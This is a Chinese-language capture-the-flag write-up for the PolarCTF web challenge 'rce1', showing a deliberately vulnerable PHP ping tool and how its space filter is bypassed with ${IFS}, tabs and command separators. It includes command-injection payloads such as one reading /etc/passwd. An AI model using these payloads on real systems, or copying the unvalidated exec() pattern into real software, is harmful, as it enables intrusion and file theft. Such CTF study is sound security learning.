polarctf-web-[rce1]

考点:

(1)RCE(exec函数)

(2)空格绕过

(3)执行函数(exec函数)

(4)闭合(ping命令闭合)

题目来源:Polarctf-web-rce1

解题:

这段代码实现了一个简单的 Ping 测试工具,用户可以通过表单提交一个 IP 地址,服务器会执行 ping 命令并返回结果。

  1. 命令注入漏洞 (高危)
  • 漏洞位置 : $cmd = "ping -c 4 {$ip}"; 和 exec($cmd, $res);

  • 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:

    • 使用制表符 %09 代替空格

    • 使用 ${IFS} (Bash 内部字段分隔符)代替空格(本题使用这个)

    • 使用重定向符号 < 或 > 不需要空格

    • 使用 ;、&&、|| 等命令连接符

  • 攻击示例:

    php 复制代码
     127.0.0.1;cat${IFS}/etc/passwd
     127.0.0.1%0als${IFS}-l
  1. 输入验证不足 (中危)
  • 问题描述: 仅检查了是否包含空格,没有进行有效的 IP 地址格式验证
php 复制代码
 <?php
 ​
 $res = FALSE;
 ​
 if (isset($_GET['ip']) && $_GET['ip']) {
     $ip = $_GET['ip'];
     $m = [];
     if (!preg_match_all("/ /", $ip, $m)) {  # 检测ip是否含有空格,如果不含有则进入里层,m用于存储匹配的数组
         $cmd = "ping -c 4 {$ip}";
         exec($cmd, $res);   # 执行cmd命令,res用于存储命令的每一行输出
     } else {
         $res = $m;
     }
 }
 ?>
 ​
 <!DOCTYPE html>
 <html>
 <head>
     <meta charset="utf-8">
     <title>ping</title>
 </head>
 <body>
 <style>
     html{
         height:100%;
     }
     body{
         padding: 0;
         margin: 0;
         background: url(1.png);
         background-size: 100% 100%;
         position: absolute;
     }
     
 </style>
 ​
 <h1>就过滤了个空格,能拿到flag算我输</h1>
 ​
 <form action="#" method="GET">
     <label for="ip">IP : </label><br>
     <input type="text" id="ip" name="ip">
     <input type="submit" value="Ping">
 </form>
 ​
 <hr>
 ​
 <pre>
 <?php
 if ($res) {
     print_r($res);
 }
 ?>
 </pre>
 ​
 <?php
 show_source(__FILE__);
 ?>
 ​
 </body>
 </html>

用分号闭合ping命令,输入ls,点击"Ping"查看当前目录文件

使用命令查看可疑文件,由于过滤了空格,此处使用{IFS}进行绕过:`;cat{IFS}fllllaaag.php`

点击"Ping"

成功回显,查看源码获得flag

相关推荐
wacsii16 分钟前
【Linux进程(一)】Linux 进程初探:操作系统如何管理进程?fork() 为什么返回两次?
linux·运维·服务器
AI+程序员在路上21 分钟前
RV1126B 上支持的模型及全流程应用--从CNN及语音到 LLMVLM 与跨平台选型
linux·c语言·人工智能
默|笙1 小时前
【Linux网络】传输层协议TCP(1)---TCP报文介绍
linux·网络·tcp/ip
相思难忘成疾1 小时前
从零搭建 Kubernetes 1.30 集群:kubeadm 部署一主多从实战(RHEL 9.3 + Docker + flannel)
linux·运维·kubernetes
用户4107192013251 小时前
用 systemd 从零做一个系统健康巡检服务:脚本、沙箱与磁盘满排查实战
linux·ubuntu
GeW2 小时前
新质生产力路线图下,Linux 和数据库不能拆成两件事做
linux
云和数据.ChenGuang2 小时前
Python 闭包详解:从原理到实战
linux·开发语言·人工智能·python·kubernetes
Linux-lucky2 小时前
46-Linux学习之旅之LVS负载均衡与keepalived高可用
linux·运维·学习·ubuntu·负载均衡·lvs
Fruiticecake2 小时前
C 变量住在哪里,进程内存为什么越来越大:从 .data / .bss 到 smaps 排查内存增长
linux
盛世宏博北京2 小时前
以太网温湿度传感器协议选型实战:TCP、UDP、SNMP通信特性对比
网络协议·tcp/ip·udp